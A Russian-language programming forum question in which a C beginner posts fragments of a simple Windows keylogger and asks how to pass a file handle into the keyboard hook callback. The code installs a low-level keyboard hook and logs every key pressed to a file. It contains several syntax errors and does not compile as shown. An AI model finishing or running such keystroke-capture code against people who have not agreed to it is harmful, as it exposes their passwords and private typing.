Ну, я все еще немного новичок в C.
Допустим, у меня есть этот код:
source.c
#include "logger.c"
int main{
FILE *myfile1;
fileX = fopen("myfile.txt, a+);
SetHook(fileX);
}
, а затем у меня очень простой кейлоггер
logger.c
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
// PRINT INTO THE FILE
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
fprintf(fileX, "%c", kbdStruct.vkCode);
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook(fileX)
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)
}
В основном я хочу разделить код, подобный этому.
Но я думаю, что это неправильно, мне нужно передать этот "fileX" не в функцию setHOOK (), а в "LRESULT __stdcall ...", и я не знаю, как это сделать.
Я будубудь благодарен за любую помощь.